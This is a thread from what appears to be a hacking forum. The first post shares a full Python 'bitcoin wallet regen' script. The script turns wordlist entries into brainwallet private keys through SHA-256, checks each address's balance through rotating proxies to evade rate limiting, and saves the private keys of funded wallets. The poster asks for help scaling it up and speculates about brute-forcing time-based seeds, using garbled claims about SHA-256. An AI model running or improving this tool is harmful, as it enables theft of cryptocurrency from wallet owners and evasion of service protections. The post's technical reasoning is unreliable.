bitcoin wallet regen
by suxalottapuss - Saturday February 10, 2024 at 02:54 PM
#1
import subprocess
from itertools import cycle
from bit import Key
from hashlib import sha256
import time

# Constants from the first program
API_URL = "https://blockchain.info/q/addressbalance/{address}?confirmations=1"
OUTPUT_FILE = "wallets_with_balance.txt"
DELAY_BETWEEN_REQUESTS = 10
PROXY_FILE = "working_Proxies.txt"

def run_curl_command(command):
    """Run a curl command and return its output."""
    try:
        result = subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        return result.stdout
    except subprocess.CalledProcessError as e:
        print(f"Command '{e.cmd}' returned non-zero exit status {e.returncode}. Error: {e.stderr}")
        return None

def is_proxy_working(proxy):
    """Check if the proxy is working by attempting to fetch a known URL with curl."""
    # Updated to use a more reliable test URL
    test_url = 'https://blockchain.info/q/addressbalance/16jVvx2LEJayBKvhSZ5vmkjrdaN1WTYoja?confirmations=1'
    command = ["curl","-A", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", "-vLk", proxy, "-m", "1", test_url]
    result = run_curl_command(command)
    return bool(result)

def load_and_check_proxies(proxy_file, proxy_type):
    """Load proxies from a file and check if they are working with curl."""
    working_proxies = []
    with open(proxy_file, 'r') as f:
        for line in f:
            proxy_address = line.strip()
            if proxy_address:
                proxy = f"{proxy_type}://{proxy_address}"
                if is_proxy_working(proxy):
                    print(f"Working proxy: {proxy}")
                    working_proxies.append(proxy)
                else:
                    print(f"Skipping non-working proxy: {proxy}")
    return working_proxies

def get_proxy_type():
    """Allow the user to select the proxy type from the terminal."""
    print("Select proxy type:\n1. HTTP\n2. HTTPS\n3. SOCKS5")
    choice = input("Enter number (default is HTTP): ")
    if choice == '2':
        return "https"
    elif choice == '3':
        return "socks5"
    else:
        return "http"

def check_balance(address, proxy):
    """Check the balance of a Bitcoin address using the proxy with curl."""
    command = ["curl","-A", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", "-vLk", proxy, "-m", "1",  API_URL.format(address=address)]
    result = run_curl_command(command)
    if result:
        try:
            balance = int(result) / 100000000  # Convert satoshi to bitcoin
            return balance
        except ValueError:
            print(f"Error parsing balance for {address}. Result: {result}")
    return 0

def process_wordlist(wordlist, proxies):
    """Process each word in the wordlist, check the balance using proxies with curl, and write to file if balance is found."""
    proxy_iter = cycle(proxies)
    with open(wordlist, 'r') as file, open(OUTPUT_FILE, 'w') as outfile:
        for word in file:
            word = word.strip()
            # Keep the Key.from_hex logic to maintain other functionalities
            hash_bytes = sha256(word.encode('utf-8')).digest()
            key = Key.from_hex(hash_bytes.hex())  # Convert the SHA-256 hash to a Bitcoin key object
           
            proxy = next(proxy_iter)  # Rotate through proxies
            balance = check_balance(key.address, proxy)
            if balance > 0:
                print(f"Address {key.address} has a balance of {balance} BTC.")
                # Write using the Key object's properties for private and public keys
                outfile.write(f"Passphrase: {word}, Private Key: {key.to_wif()}, Public Key: {key.public_key.hex()}, Address: {key.address}, Balance: {balance} BTC\n")
           
            time.sleep(DELAY_BETWEEN_REQUESTS)

proxy_type = get_proxy_type()
proxies = load_and_check_proxies(PROXY_FILE, proxy_type)
if not proxies:
    print("No working proxies found. Exiting.")
else:
    # Adjust the path to your actual wordlist file
    process_wordlist('wordlistpathere', proxies)


okay so this is a rethread because i couldnt modify or edit the last post. So this one works and it gets to where im either being rate limited or the server can tell its a proxy. need higher level proxies that run with https or socks proxies. if anyone can make this better or do something with it would be wonderful. background on this is that you cant crack wallets but you maybe able to regenerate them, sha256 is 43 max characters so you maybe able to randomly generate shit and eventually hit something. usually seeds are derrived from system time. if you can simulate random seeds manually my guess is based on time, you can cut down the possibility list greatly by going backwords in time and using the system time and date as the random seed as there are only so many possibilities per seed. so it is possible to regenerate all the wallets with private and public keys all the way back to release which would give a smaller area of generation instead of 10 million year mark. it would make it more realistic in theory so enjoy. 

dont forget to leave rep or what ever.
Reply
#2
i am blind so i cant read and i dont even understand but im happy this worked for you or im sorry if it didnt
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Altunigma - Crypto Wallet Bruteforcer & Recovery Tool (Free) ottomanturks 10 695 04-11-2025, 08:07 AM
Last Post: ottomanturks
  Ethereum Metamask Wallet Scanner v0.1 [Old Version Beta] ottomanturks 0 235 04-08-2025, 06:33 AM
Last Post: ottomanturks
  How to crack into Bitcoin miners ToxicAvenger4 2 1,630 01-03-2025, 01:25 AM
Last Post: viceCoolMan
  bitcoin wallet finder dravpittt 3 1,785 03-16-2024, 01:02 AM
Last Post: sami_chane

Forum Jump:


 Users browsing this thread: 1 Guest(s)